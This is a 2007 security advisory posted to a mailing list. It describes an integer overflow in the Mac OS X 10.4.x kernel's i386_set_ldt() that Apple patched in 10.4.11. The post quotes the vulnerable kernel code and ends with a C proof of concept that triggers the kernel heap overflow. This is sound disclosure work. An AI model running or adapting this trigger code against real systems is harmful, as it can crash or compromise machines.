[<prev] [next>] [day] [month] [year] [list]
Message-ID: <473D08C0.3050005@risesecurity.org>
Date: Fri, 16 Nov 2007 01:04:32 -0200
From: RISE Security <advisories@...esecurity.org>
To: full-disclosure@...ts.grok.org.uk
Subject: [RISE-2007004] Apple Mac OS X 10.4.x Kernel
i386_set_ldt() Integer Overflow Vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Apple Mac OS X 10.4.x Kernel i386_set_ldt() Integer Overflow Vulnerability
http://risesecurity.org/advisory/RISE-2007004/
Published: November 16, 2007
Updated: November 16, 2007
INTRODUCTION
There exists a vulnerability within an architecture dependent function
of the
Apple Mac OS X 10.4.x kernel, which when properly exploited can lead to
local
compromise of the vulnerable system.
This vulnerability was confirmed by us in the following versions of the
Apple
operating system, other versions may be also affected.
Apple Mac OS X 10.4.10
Apple Mac OS X 10.4.9
Apple Mac OS X 10.4.8
Apple Mac OS X Server 10.4.10
Apple Mac OS X Server 10.4.9
Apple Mac OS X Server 10.4.8
DETAILS
The i386_set_ldt() system call will set a list of i386 descriptors for the
current process in its LDT. It accepts a starting selector number
start_sel, an
array of memory that will contain the descriptors to be set descs, and the
number of entries to set num_sels.
int
i386_set_ldt(
int *retval,
uint32_t start_sel,
uint32_t descs, /* out */
uint32_t num_sels)
{
user_ldt_t new_ldt, old_ldt;
struct real_descriptor *dp;
unsigned int i;
unsigned int min_selector = LDTSZ_MIN; /* do not allow the
system selectors to be changed */
task_t task = current_task();
unsigned int ldt_count;
kern_return_t err;
The vulnerable function does not validate the number of entries to set
num_sels
properly. When setting a valid integer value as starting selector number
start_sel, and a integer value higher than 0xffffffff - start_sel as
number of
entries to set num_sels, it results in a integer overflow in start_sel +
num_sels expression, with its value being lower than LDTSZ.
if (start_sel != LDT_AUTO_ALLOC
&& (start_sel != 0 || num_sels != 0)
&& (start_sel < min_selector || start_sel >= LDTSZ))
return EINVAL;
if (start_sel != LDT_AUTO_ALLOC
&& start_sel + num_sels > LDTSZ)
return EINVAL;
A new LDT is allocated using the kalloc() function, with its size
argument being
sizeof(struct user_ldt) + (ldt_count * sizeof(struct real_descriptor)).
/*
* Allocate new LDT
*/
unsigned int begin_sel = start_sel;
unsigned int end_sel = begin_sel + num_sels;
if (old_ldt != NULL) {
if (old_ldt->start < begin_sel)
begin_sel = old_ldt->start;
if (old_ldt->start + old_ldt->count > end_sel)
end_sel = old_ldt->start + old_ldt->count;
}
ldt_count = end_sel - begin_sel;
new_ldt = (user_ldt_t)kalloc(sizeof(struct user_ldt) + (ldt_count *
sizeof(struct real_descriptor)));
if (new_ldt == NULL) {
task_unlock(task);
return ENOMEM;
}
new_ldt->start = begin_sel;
new_ldt->count = ldt_count;
When installing the new descriptors, the contents of memory pointed to
by descs
are copied into the new allocated LDT using the copyin() function, with
its size
argument being num_sels * sizeof(struct real_descriptor). This operation
results
in a buffer overflow in the new allocated LDT.
/*
* Install new descriptors.
*/
if (descs != 0) {
err = copyin(descs, (char *)&new_ldt->ldt[start_sel - begin_sel]
,
num_sels * sizeof(struct real_descriptor));
if (err != 0)
{
task_unlock(task);
user_ldt_free(new_ldt);
return err;
}
A proof of concept code that triggers this vulnerability can be found in
appendix section of this document.
VENDOR
Apple corrected this vulnerability in Apple Mac OS X 10.4.11. More
information
is available at http://docs.info.apple.com/article.html?artnum=307041
CREDITS
This vulnerability was discovered by Adriano Lima
<adriano@...esecurity.org> and
Ramon de Carvalho Valle <ramon@...esecurity.org>.
DISCLAIMER
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.
APPENDIX
osx-x86-ldt.c
#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
int
main(void)
{
union ldt_entry descs;
char *buf;
u_long pgsz = sysconf(_SC_PAGESIZE);
if ((buf = (char *)malloc(pgsz * 4)) == -1) {
perror("malloc");
exit(EXIT_FAILURE);
}
memset(buf, 0x41, pgsz * 4);
buf = (char *)(((u_long)buf & ~pgsz) + pgsz);
if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
PROT_WRITE) == -1) {
perror("mprotect");
exit(EXIT_FAILURE);
}
/*
* This will result in kalloc() size argument being 0x00000000 and
copyin()
* size argument being 0xfffffff8.
*/
if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
perror("i386_set_ldt");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
$Id: RISE-2007004.txt 13 2007-11-16 02:58:56Z ramon $
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
iD8DBQFHPQjAhFjK78TGSUERAuJ5AJ4jXbgMiBBXZzC0ZMH5AC0PiRLEowCfSlmR
EBvyRlYk5TLzVwT/aHFLA4k=
=qT0E
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists